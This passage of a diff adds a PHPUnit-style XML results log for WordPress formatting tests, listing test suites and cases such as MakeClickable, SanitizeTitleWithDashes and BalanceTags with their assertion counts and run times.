+      <testcase name="test_strip_trailing_with_protocol" class="Tests_Formatting_MakeClickable" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/MakeClickable.php" line="41" assertions="6" time="0.003018"/>
+      <testcase name="test_strip_trailing_with_protocol_nothing_afterwards" class="Tests_Formatting_MakeClickable" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/MakeClickable.php" line="66" assertions="7" time="0.003581"/>
+      <testcase name="test_strip_trailing_without_protocol" class="Tests_Formatting_MakeClickable" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/MakeClickable.php" line="93" assertions="6" time="0.002644"/>
+      <testcase name="test_strip_trailing_without_protocol_nothing_afterwards" class="Tests_Formatting_MakeClickable" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/MakeClickable.php" line="118" assertions="6" time="0.003329"/>
+      <testcase name="test_iri" class="Tests_Formatting_MakeClickable" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/MakeClickable.php" line="142" assertions="3" time="0.002765"/>
+      <testcase name="test_brackets_in_urls" class="Tests_Formatting_MakeClickable" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/MakeClickable.php" line="159" assertions="10" time="0.004509"/>
+      <testcase name="test_real_world_examples" class="Tests_Formatting_MakeClickable" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/MakeClickable.php" line="194" assertions="4" time="0.002709"/>
+      <testcase name="test_twitter_hash_bang" class="Tests_Formatting_MakeClickable" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/MakeClickable.php" line="213" assertions="3" time="0.002674"/>
+      <testcase name="test_wrapped_in_angles" class="Tests_Formatting_MakeClickable" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/MakeClickable.php" line="229" assertions="3" time="0.002549"/>
+      <testcase name="test_preceded_by_punctuation" class="Tests_Formatting_MakeClickable" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/MakeClickable.php" line="245" assertions="6" time="0.003261"/>
+      <testcase name="test_dont_break_attributes" class="Tests_Formatting_MakeClickable" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/MakeClickable.php" line="267" assertions="6" time="0.003092"/>
+      <testcase name="test_click_inside_html" class="Tests_Formatting_MakeClickable" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/MakeClickable.php" line="294" assertions="2" time="0.002927"/>
+      <testcase name="test_no_links_within_links" class="Tests_Formatting_MakeClickable" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/MakeClickable.php" line="308" assertions="1" time="0.002415"/>
+      <testcase name="test_no_segfault" class="Tests_Formatting_MakeClickable" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/MakeClickable.php" line="321" assertions="1" time="0.002215"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_MapDeep" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/MapDeep.php" fullPackage="Tests.Formatting" tests="0" assertions="0" failures="0" errors="0" time="0.000000"/>
+    <testsuite name="Tests_Formatting_RemoveAccents" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/RemoveAccents.php" fullPackage="Tests.Formatting" tests="9" assertions="19" failures="0" errors="0" time="0.039851">
+      <testcase name="test_remove_accents_simple" class="Tests_Formatting_RemoveAccents" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/RemoveAccents.php" line="7" assertions="1" time="0.002454"/>
+      <testcase name="test_remove_accents_latin1_supplement" class="Tests_Formatting_RemoveAccents" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/RemoveAccents.php" line="14" assertions="1" time="0.004329"/>
+      <testcase name="test_remove_accents_latin_extended_a" class="Tests_Formatting_RemoveAccents" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/RemoveAccents.php" line="21" assertions="1" time="0.003577"/>
+      <testcase name="test_remove_accents_latin_extended_b" class="Tests_Formatting_RemoveAccents" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/RemoveAccents.php" line="28" assertions="1" time="0.003121"/>
+      <testcase name="test_remove_accents_euro_pound_signs" class="Tests_Formatting_RemoveAccents" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/RemoveAccents.php" line="32" assertions="2" time="0.004464"/>
+      <testcase name="test_remove_accents_iso8859" class="Tests_Formatting_RemoveAccents" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/RemoveAccents.php" line="37" assertions="1" time="0.002004"/>
+      <testcase name="test_remove_accents_vowels_diacritic" class="Tests_Formatting_RemoveAccents" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/RemoveAccents.php" line="50" assertions="6" time="0.009511"/>
+      <testcase name="test_remove_accents_hanyu_pinyin" class="Tests_Formatting_RemoveAccents" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/RemoveAccents.php" line="69" assertions="5" time="0.006797"/>
+      <testcase name="test_remove_accents_germanic_umlauts" class="Tests_Formatting_RemoveAccents" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/RemoveAccents.php" line="90" assertions="1" time="0.003594"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_SanitizeFileName" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeFileName.php" fullPackage="Tests.Formatting" tests="5" assertions="6" failures="0" errors="0" time="0.009898">
+      <testcase name="test_munges_extensions" class="Tests_Formatting_SanitizeFileName" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeFileName.php" line="7" assertions="1" time="0.002764"/>
+      <testcase name="test_removes_special_chars" class="Tests_Formatting_SanitizeFileName" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeFileName.php" line="13" assertions="1" time="0.002628"/>
+      <testcase name="test_replaces_any_number_of_hyphens_with_one_hyphen" class="Tests_Formatting_SanitizeFileName" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeFileName.php" line="22" assertions="1" time="0.001897"/>
+      <testcase name="test_trims_trailing_hyphens" class="Tests_Formatting_SanitizeFileName" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeFileName.php" line="26" assertions="1" time="0.001271"/>
+      <testcase name="test_replaces_any_amount_of_whitespace_with_one_hyphen" class="Tests_Formatting_SanitizeFileName" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeFileName.php" line="30" assertions="2" time="0.001338"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_SanitizeMimeType" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeMimeType.php" fullPackage="Tests.Formatting" tests="1" assertions="22" failures="0" errors="0" time="0.002377">
+      <testcase name="test_sanitize_valid_mime_type" class="Tests_Formatting_SanitizeMimeType" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeMimeType.php" line="8" assertions="22" time="0.002377"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_SanitizePost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizePost.php" fullPackage="Tests.Formatting" tests="1" assertions="5" failures="0" errors="0" time="0.028456">
+      <testcase name="test_int_fields" class="Tests_Formatting_SanitizePost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizePost.php" line="11" assertions="5" time="0.028456"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_SanitizeTextField" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTextField.php" fullPackage="Tests.Formatting" tests="1" assertions="13" failures="0" errors="0" time="0.003321">
+      <testcase name="test_sanitize_text_field" class="Tests_Formatting_SanitizeTextField" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTextField.php" line="8" assertions="13" time="0.003321"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_SanitizeTitle" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTitle.php" fullPackage="Tests.Formatting" tests="2" assertions="2" failures="0" errors="0" time="0.004274">
+      <testcase name="test_strips_html" class="Tests_Formatting_SanitizeTitle" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTitle.php" line="7" assertions="1" time="0.002101"/>
+      <testcase name="test_titles_sanitized_to_nothing_are_replaced_with_optional_fallback" class="Tests_Formatting_SanitizeTitle" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTitle.php" line="13" assertions="1" time="0.002173"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_SanitizeTitleWithDashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTitleWithDashes.php" fullPackage="Tests.Formatting" tests="16" assertions="27" failures="0" errors="0" time="0.042143">
+      <testcase name="test_strips_html" class="Tests_Formatting_SanitizeTitleWithDashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTitleWithDashes.php" line="7" assertions="1" time="0.002005"/>
+      <testcase name="test_strips_unencoded_percent_signs" class="Tests_Formatting_SanitizeTitleWithDashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTitleWithDashes.php" line="13" assertions="1" time="0.002402"/>
+      <testcase name="test_makes_title_lowercase" class="Tests_Formatting_SanitizeTitleWithDashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTitleWithDashes.php" line="17" assertions="1" time="0.002423"/>
+      <testcase name="test_replaces_any_amount_of_whitespace_with_one_hyphen" class="Tests_Formatting_SanitizeTitleWithDashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTitleWithDashes.php" line="21" assertions="2" time="0.002561"/>
+      <testcase name="test_replaces_any_number_of_hyphens_with_one_hyphen" class="Tests_Formatting_SanitizeTitleWithDashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTitleWithDashes.php" line="26" assertions="1" time="0.002216"/>
+      <testcase name="test_trims_trailing_hyphens" class="Tests_Formatting_SanitizeTitleWithDashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTitleWithDashes.php" line="30" assertions="1" time="0.002558"/>
+      <testcase name="test_handles_non_entity_ampersands" class="Tests_Formatting_SanitizeTitleWithDashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTitleWithDashes.php" line="34" assertions="1" time="0.002460"/>
+      <testcase name="test_replaces_nbsp" class="Tests_Formatting_SanitizeTitleWithDashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTitleWithDashes.php" line="52" assertions="1" time="0.002903"/>
+      <testcase name="test_replaces_ndash_mdash" class="Tests_Formatting_SanitizeTitleWithDashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTitleWithDashes.php" line="56" assertions="2" time="0.002278"/>
+      <testcase name="test_replaces_iexcel_iquest" class="Tests_Formatting_SanitizeTitleWithDashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTitleWithDashes.php" line="61" assertions="2" time="0.002896"/>
+      <testcase name="test_replaces_angle_quotes" class="Tests_Formatting_SanitizeTitleWithDashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTitleWithDashes.php" line="66" assertions="2" time="0.002856"/>
+      <testcase name="test_replaces_curly_quotes" class="Tests_Formatting_SanitizeTitleWithDashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTitleWithDashes.php" line="71" assertions="5" time="0.003305"/>
+      <testcase name="test_replaces_copy_reg_deg_trade" class="Tests_Formatting_SanitizeTitleWithDashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTitleWithDashes.php" line="79" assertions="4" time="0.002482"/>
+      <testcase name="test_replaces_multiply_sign" class="Tests_Formatting_SanitizeTitleWithDashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTitleWithDashes.php" line="89" assertions="1" time="0.002719"/>
+      <testcase name="test_replaces_standalone_diacritic" class="Tests_Formatting_SanitizeTitleWithDashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTitleWithDashes.php" line="96" assertions="1" time="0.002861"/>
+      <testcase name="test_replaces_acute_accents" class="Tests_Formatting_SanitizeTitleWithDashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTitleWithDashes.php" line="103" assertions="1" time="0.003218"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_SanitizeTrackbackUrls" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeTrackbackUrls.php" fullPackage="Tests.Formatting" tests="8" assertions="8" failures="0" errors="0" time="0.023416">
+      <testsuite name="Tests_Formatting_SanitizeTrackbackUrls::test_sanitize_trackback_urls_with_multiple_urls" tests="8" assertions="8" failures="0" errors="0" time="0.023416">
+        <testcase name="test_sanitize_trackback_urls_with_multiple_urls with data set #0" assertions="1" time="0.003046"/>
+        <testcase name="test_sanitize_trackback_urls_with_multiple_urls with data set #1" assertions="1" time="0.003573"/>
+        <testcase name="test_sanitize_trackback_urls_with_multiple_urls with data set #2" assertions="1" time="0.003239"/>
+        <testcase name="test_sanitize_trackback_urls_with_multiple_urls with data set #3" assertions="1" time="0.002963"/>
+        <testcase name="test_sanitize_trackback_urls_with_multiple_urls with data set #4" assertions="1" time="0.002664"/>
+        <testcase name="test_sanitize_trackback_urls_with_multiple_urls with data set #5" assertions="1" time="0.003065"/>
+        <testcase name="test_sanitize_trackback_urls_with_multiple_urls with data set #6" assertions="1" time="0.002504"/>
+        <testcase name="test_sanitize_trackback_urls_with_multiple_urls with data set #7" assertions="1" time="0.002362"/>
+      </testsuite>
+    </testsuite>
+    <testsuite name="Tests_Formatting_SanitizeUser" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeUser.php" fullPackage="Tests.Formatting" tests="3" assertions="3" failures="0" errors="0" time="0.007459">
+      <testcase name="test_strips_html" class="Tests_Formatting_SanitizeUser" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeUser.php" line="7" assertions="1" time="0.001860"/>
+      <testcase name="test_strips_percent_encoded_octets" class="Tests_Formatting_SanitizeUser" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeUser.php" line="20" assertions="1" time="0.002028"/>
+      <testcase name="test_optional_strict_mode_reduces_to_safe_ascii_subset" class="Tests_Formatting_SanitizeUser" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SanitizeUser.php" line="24" assertions="1" time="0.003571"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_SeemsUtf8" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/SeemsUtf8.php" fullPackage="Tests.Formatting" tests="5" assertions="5" failures="0" errors="0" time="0.010932">
+      <testsuite name="Tests_Formatting_SeemsUtf8::test_returns_true_for_utf8_strings" tests="5" assertions="5" failures="0" errors="0" time="0.010932">
+        <testcase name="test_returns_true_for_utf8_strings with data set #0" assertions="1" time="0.002124"/>
+        <testcase name="test_returns_true_for_utf8_strings with data set #1" assertions="1" time="0.002089"/>
+        <testcase name="test_returns_true_for_utf8_strings with data set #2" assertions="1" time="0.002099"/>
+        <testcase name="test_returns_true_for_utf8_strings with data set #3" assertions="1" time="0.002425"/>
+        <testcase name="test_returns_true_for_utf8_strings with data set #4" assertions="1" time="0.002195"/>
+      </testsuite>
+      <testsuite name="Tests_Formatting_SeemsUtf8::test_returns_false_for_non_utf8_strings" tests="0" assertions="0" failures="0" errors="0" time="0.000000"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_Slashit" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/Slashit.php" fullPackage="Tests.Formatting" tests="6" assertions="7" failures="0" errors="0" time="0.014375">
+      <testcase name="test_backslashes_middle_numbers" class="Tests_Formatting_Slashit" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/Slashit.php" line="7" assertions="1" time="0.003031"/>
+      <testcase name="test_backslashes_alphas" class="Tests_Formatting_Slashit" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/Slashit.php" line="11" assertions="1" time="0.002910"/>
+      <testcase name="test_double_backslashes_leading_numbers" class="Tests_Formatting_Slashit" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/Slashit.php" line="15" assertions="1" time="0.002461"/>
+      <testcase name="test_removes_trailing_slashes" class="Tests_Formatting_Slashit" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/Slashit.php" line="19" assertions="2" time="0.002316"/>
+      <testcase name="test_adds_trailing_slash" class="Tests_Formatting_Slashit" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/Slashit.php" line="24" assertions="1" time="0.001899"/>
+      <testcase name="test_does_not_add_trailing_slash_if_one_exists" class="Tests_Formatting_Slashit" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/Slashit.php" line="28" assertions="1" time="0.001758"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_Smilies" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/Smilies.php" fullPackage="Tests.Formatting" tests="1" assertions="12" failures="0" errors="0" time="0.009583">
+      <testcase name="test_convert_smilies" class="Tests_Formatting_Smilies" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/Smilies.php" line="8" assertions="12" time="0.009583"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_StripSlashesDeep" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/StripSlashesDeep.php" fullPackage="Tests.Formatting" tests="3" assertions="14" failures="0" errors="0" time="0.010120">
+      <testcase name="test_preserves_original_datatype" class="Tests_Formatting_StripSlashesDeep" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/StripSlashesDeep.php" line="10" assertions="7" time="0.004186"/>
+      <testcase name="test_strips_slashes" class="Tests_Formatting_StripSlashesDeep" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/StripSlashesDeep.php" line="27" assertions="5" time="0.003318"/>
+      <testcase name="test_permits_escaped_slash" class="Tests_Formatting_StripSlashesDeep" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/StripSlashesDeep.php" line="42" assertions="2" time="0.002616"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_UrlEncodedToEntities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/UrlEncodedToEntities.php" fullPackage="Tests.Formatting" tests="5" assertions="5" failures="0" errors="0" time="0.012234">
+      <testsuite name="Tests_Formatting_UrlEncodedToEntities::test_convert_urlencoded_to_entities" tests="5" assertions="5" failures="0" errors="0" time="0.012234">
+        <testcase name="test_convert_urlencoded_to_entities with data set #0" assertions="1" time="0.002651"/>
+        <testcase name="test_convert_urlencoded_to_entities with data set #1" assertions="1" time="0.002490"/>
+        <testcase name="test_convert_urlencoded_to_entities with data set #2" assertions="1" time="0.002591"/>
+        <testcase name="test_convert_urlencoded_to_entities with data set #3" assertions="1" time="0.002581"/>
+        <testcase name="test_convert_urlencoded_to_entities with data set #4" assertions="1" time="0.001921"/>
+      </testsuite>
+    </testsuite>
+    <testsuite name="Tests_Formatting_Utf8UriEncode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/Utf8UriEncode.php" fullPackage="Tests.Formatting" tests="10" assertions="10" failures="0" errors="0" time="0.022869">
+      <testsuite name="Tests_Formatting_Utf8UriEncode::test_percent_encodes_non_reserved_characters" tests="5" assertions="5" failures="0" errors="0" time="0.010751">
+        <testcase name="test_percent_encodes_non_reserved_characters with data set #0" assertions="1" time="0.002067"/>
+        <testcase name="test_percent_encodes_non_reserved_characters with data set #1" assertions="1" time="0.002220"/>
+        <testcase name="test_percent_encodes_non_reserved_characters with data set #2" assertions="1" time="0.002055"/>
+        <testcase name="test_percent_encodes_non_reserved_characters with data set #3" assertions="1" time="0.002250"/>
+        <testcase name="test_percent_encodes_non_reserved_characters with data set #4" assertions="1" time="0.002158"/>
+      </testsuite>
+      <testsuite name="Tests_Formatting_Utf8UriEncode::test_output_is_not_longer_than_optional_length_argument" tests="5" assertions="5" failures="0" errors="0" time="0.012118">
+        <testcase name="test_output_is_not_longer_than_optional_length_argument with data set #0" assertions="1" time="0.002457"/>
+        <testcase name="test_output_is_not_longer_than_optional_length_argument with data set #1" assertions="1" time="0.002699"/>
+        <testcase name="test_output_is_not_longer_than_optional_length_argument with data set #2" assertions="1" time="0.002265"/>
+        <testcase name="test_output_is_not_longer_than_optional_length_argument with data set #3" assertions="1" time="0.002341"/>
+        <testcase name="test_output_is_not_longer_than_optional_length_argument with data set #4" assertions="1" time="0.002356"/>
+      </testsuite>
+    </testsuite>
+    <testsuite name="Tests_Formatting_WPSpecialchars" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WPSpecialchars.php" fullPackage="Tests.Formatting" tests="4" assertions="262" failures="0" errors="0" time="0.059715">
+      <testcase name="test_wp_specialchars_basics" class="Tests_Formatting_WPSpecialchars" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WPSpecialchars.php" line="7" assertions="2" time="0.002643"/>
+      <testcase name="test_allowed_entity_names" class="Tests_Formatting_WPSpecialchars" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WPSpecialchars.php" line="15" assertions="246" time="0.050809"/>
+      <testcase name="test_not_allowed_entity_names" class="Tests_Formatting_WPSpecialchars" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WPSpecialchars.php" line="25" assertions="10" time="0.003764"/>
+      <testcase name="test_optionally_escapes_quotes" class="Tests_Formatting_WPSpecialchars" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WPSpecialchars.php" line="35" assertions="4" time="0.002499"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_WPTexturize" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WPTexturize.php" fullPackage="Tests.Formatting" tests="8" assertions="34" failures="0" errors="0" time="0.023292">
+      <testcase name="test_dashes" class="Tests_Formatting_WPTexturize" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WPTexturize.php" line="7" assertions="2" time="0.002750"/>
+      <testcase name="test_disable" class="Tests_Formatting_WPTexturize" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WPTexturize.php" line="12" assertions="8" time="0.003923"/>
+      <testcase name="test_bracketed_quotes_1418" class="Tests_Formatting_WPTexturize" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WPTexturize.php" line="33" assertions="3" time="0.002345"/>
+      <testcase name="test_bracketed_quotes_3810" class="Tests_Formatting_WPTexturize" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WPTexturize.php" line="40" assertions="1" time="0.002396"/>
+      <testcase name="test_basic_quotes" class="Tests_Formatting_WPTexturize" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WPTexturize.php" line="45" assertions="12" time="0.003933"/>
+      <testcase name="test_quotes_after_numbers" class="Tests_Formatting_WPTexturize" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WPTexturize.php" line="119" assertions="1" time="0.002413"/>
+      <testcase name="test_x" class="Tests_Formatting_WPTexturize" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WPTexturize.php" line="133" assertions="1" time="0.002206"/>
+      <testcase name="test_minutes_seconds" class="Tests_Formatting_WPTexturize" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WPTexturize.php" line="137" assertions="6" time="0.003326"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_WPTrimWords" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WPTrimWords.php" fullPackage="Tests.Formatting" tests="6" assertions="7" failures="0" errors="0" time="0.014472">
+      <testcase name="test_trims_to_55_by_default" class="Tests_Formatting_WPTrimWords" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WPTrimWords.php" line="9" assertions="1" time="0.002459"/>
+      <testcase name="test_trims_to_10" class="Tests_Formatting_WPTrimWords" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WPTrimWords.php" line="14" assertions="1" time="0.002362"/>
+      <testcase name="test_trims_to_5_and_uses_custom_more" class="Tests_Formatting_WPTrimWords" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WPTrimWords.php" line="19" assertions="1" time="0.002585"/>
+      <testcase name="test_strips_tags_before_trimming" class="Tests_Formatting_WPTrimWords" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WPTrimWords.php" line="24" assertions="1" time="0.002111"/>
+      <testcase name="test_strips_script_and_style_content" class="Tests_Formatting_WPTrimWords" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WPTrimWords.php" line="31" assertions="2" time="0.002671"/>
+      <testcase name="test_doesnt_trim_short_text" class="Tests_Formatting_WPTrimWords" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WPTrimWords.php" line="41" assertions="1" time="0.002284"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_WpHtmlEditPre" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WpHtmlEditPre.php" fullPackage="Tests.Formatting" tests="2" assertions="2" failures="0" errors="0" time="0.004408">
+      <testcase name="test_wp_htmledit_pre_charset_iso_8859_1" class="Tests_Formatting_WpHtmlEditPre" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WpHtmlEditPre.php" line="16" assertions="1" time="0.002389"/>
+      <testcase name="test_wp_htmledit_pre_charset_utf_8" class="Tests_Formatting_WpHtmlEditPre" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WpHtmlEditPre.php" line="30" assertions="1" time="0.002019"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_WpRichEditPre" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WpRichEditPre.php" fullPackage="Tests.Formatting" tests="2" assertions="2" failures="0" errors="0" time="0.004820">
+      <testcase name="test_wp_richedit_pre_charset_iso_8859_1" class="Tests_Formatting_WpRichEditPre" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WpRichEditPre.php" line="16" assertions="1" time="0.002398"/>
+      <testcase name="test_wp_richedit_pre_charset_utf_8" class="Tests_Formatting_WpRichEditPre" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/WpRichEditPre.php" line="30" assertions="1" time="0.002422"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_Zeroise" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/Zeroise.php" fullPackage="Tests.Formatting" tests="2" assertions="2" failures="0" errors="0" time="0.004315">
+      <testcase name="test_pads_with_leading_zeroes" class="Tests_Formatting_Zeroise" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/Zeroise.php" line="7" assertions="1" time="0.002095"/>
+      <testcase name="test_does_nothing_if_input_is_already_longer" class="Tests_Formatting_Zeroise" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/Zeroise.php" line="11" assertions="1" time="0.002220"/>
+    </testsuite>
+    <testsuite name="Tests_Formatting_BalanceTags" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/formatting/balanceTags.php" fullPackage="Tests.Formatting" tests="50" assertions="72" failures="0" errors="0" time="0.142807">
+      <testsuite name="Tests_Formatting_BalanceTags::test_selfcloses_unclosed_basic_known_single_tags" tests="4" assertions="4" failures="0" errors="0" time="0.009102">
+        <testcase name="test_selfcloses_unclosed_basic_known_single_tags with data set #0" assertions="1" time="0.002152"/>
+        <testcase name="test_selfcloses_unclosed_basic_known_single_tags with data set #1" assertions="1" time="0.002160"/>
+        <testcase name="test_selfcloses_unclosed_basic_known_single_tags with data set #2" assertions="1" time="0.002267"/>
+        <testcase name="test_selfcloses_unclosed_basic_known_single_tags with data set #3" assertions="1" time="0.002523"/>
+      </testsuite>
+      <testsuite name="Tests_Formatting_BalanceTags::test_selfcloses_unclosed_known_single_tags" tests="16" assertions="16" failures="0" errors="0" time="0.046068">
+        <testcase name="test_selfcloses_unclosed_known_single_tags with data set #0" assertions="1" time="0.002029"/>
+        <testcase name="test_selfcloses_unclosed_known_single_tags with data set #1" assertions="1" time="0.002909"/>
+        <testcase name="test_selfcloses_unclosed_known_single_tags with data set #2" assertions="1" time="0.003132"/>
+        <testcase name="test_selfcloses_unclosed_known_single_tags with data set #3" assertions="1" time="0.002408"/>
+        <testcase name="test_selfcloses_unclosed_known_single_tags with data set #4" assertions="1" time="0.002496"/>
+        <testcase name="test_selfcloses_unclosed_known_single_tags with data set #5" assertions="1" time="0.002982"/>
+        <testcase name="test_selfcloses_unclosed_known_single_tags with data set #6" assertions="1" time="0.002682"/>
